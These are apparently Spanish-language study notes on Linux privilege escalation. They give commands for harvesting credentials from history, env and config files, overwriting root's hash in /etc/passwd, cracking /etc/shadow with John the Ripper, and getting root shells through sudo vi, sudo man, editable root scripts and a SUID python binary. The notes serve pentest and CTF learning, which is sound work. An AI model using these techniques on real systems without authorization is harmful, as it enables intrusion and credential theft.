



Escalada de Privilegios en Linux



Directorios y comandos clave

- `/etc/passwd`
 - `/etc/shadow`
 - `hostname`
 - `whoami`
-



Revisar contraseñas y accesos

- Probar si la contraseña del usuario es la misma que la de `root`.

Revisar **variables de entorno**, a veces contienen contraseñas de otras aplicaciones:

`env`

- Consultar el historial de comandos:
 - `~/.bash_history`
 - `~/.zsh_history`
 - `history`
-

Directorios sensibles para buscar info

- `cat /etc` → Archivos de configuración
 - `/opt` → Programas de usuario
 - `/var` → Posibles archivos si hay un servidor web
 - `/home` → Archivos de los usuarios del sistema
-

Comandos útiles para buscar información

```
grep -r "password"
```

 Busca recursivamente en un directorio

```
find . -name "config." -o -name "*.php" -o -name "*.config" -o -name "*.conf"
```

 Encuentra archivos sensibles

```
cat nombre_file | grep "password"
```

Permisos de archivos y directorios

Permisos se representan así:

```
-rwxrwxrwx
```

```
# Propietario | Grupo | Otros → [read-write-execute]
```

- `read (r)` → Permite ver el contenido
- `write (w)` → Permite editar
- `execute (x)` → Ejecutar archivos/programas

Ejemplo:

```
ls -la /etc/passwd
```

Resultado:

```
-rw-rw-rw- 1 root root ...
```

  El archivo tiene permisos de escritura para **otros**, lo cual es peligroso.

Manipulación con openssl y john

Cambiar hash en `/etc/passwd`:

```
nano /etc/passwd  
openssl passwd [tu_contraseña]
```

 Añadir el hash generado a la fila de root.

Desencriptar hash desde `/etc/shadow`:

```
john hash.txt -w=lst/rockyou -pot=output.txt
```

Usamos **JohnTheRipper** para sacar la contraseña del hash.


Backups en /var

Revisar `/var/backups`

Puede contener archivos sensibles **sin protección adecuada**.

Permisos de grupo y usuarios

- Usuarios → Pertenecen a uno o más **grupos**
- Archivos → Asignados a un grupo

 Permisos para grupos:

- **r/w/x** → Acceso según pertenencia al grupo

Grupo especial: sudo

- Miembros pueden ejecutar comandos como **root sin contraseña**


Comandos útiles:

```
cat /etc/group
id
id usuario
```

Archivo **/etc/sudoers** y privilegios sudo

 Consultar privilegios:

```
sudo -l
```


 Ejemplo de salida:

```
(ALL) NOPASSWD: /usr/bin/vi
```

 Dentro de **vi** con permisos root:

```
:sh
```


 Abre una shell con permisos de root 😮


 Otro ejemplo:

```
(ALL) NOPASSWD: /usr/bin/man
```

Usar:

```
sudo man man  
# Cuando esté paginado, insertar:  
!sh
```

 Shell como root

 Si puedes editar un script que se ejecuta con permisos root:

```
(ALL) NOPASSWD: /opt/folder/cleaning.sh
```

Edita el script con:

```
ls -l /opt/folder/*.sh  
nano /opt/folder/cleaning.sh
```

Y añade al principio:

```
/bin/sh
```

Bit SUID (Set User ID)

¿Qué es?

Permite que un programa se ejecute con los **privilegios del propietario**, no del usuario que lo ejecuta.

 Se representa así:

```
-rwsr-xr-x
```

Configurar:

```
chmod u+s archivo    # Habilitar  
chmod u-s archivo    # Deshabilitar
```

Ejemplo:

`/usr/bin/passwd` → Necesita SUID para modificar `/etc/shadow`

⚠ Riesgos:

- Vulnerabilidades = **Escalada de privilegios**
- Archivos mal configurados = **Acceso indebido**

👤 Recomendaciones:

Auditar con:

```
find / -perm /4000 2>/dev/null
```

➡ Por ejemplo, si devuelve `/usr/bin/python2.7`:

```
python2.7
import os
os.system('/bin/sh')
```

Te lanza una **shell con permisos root** 🚨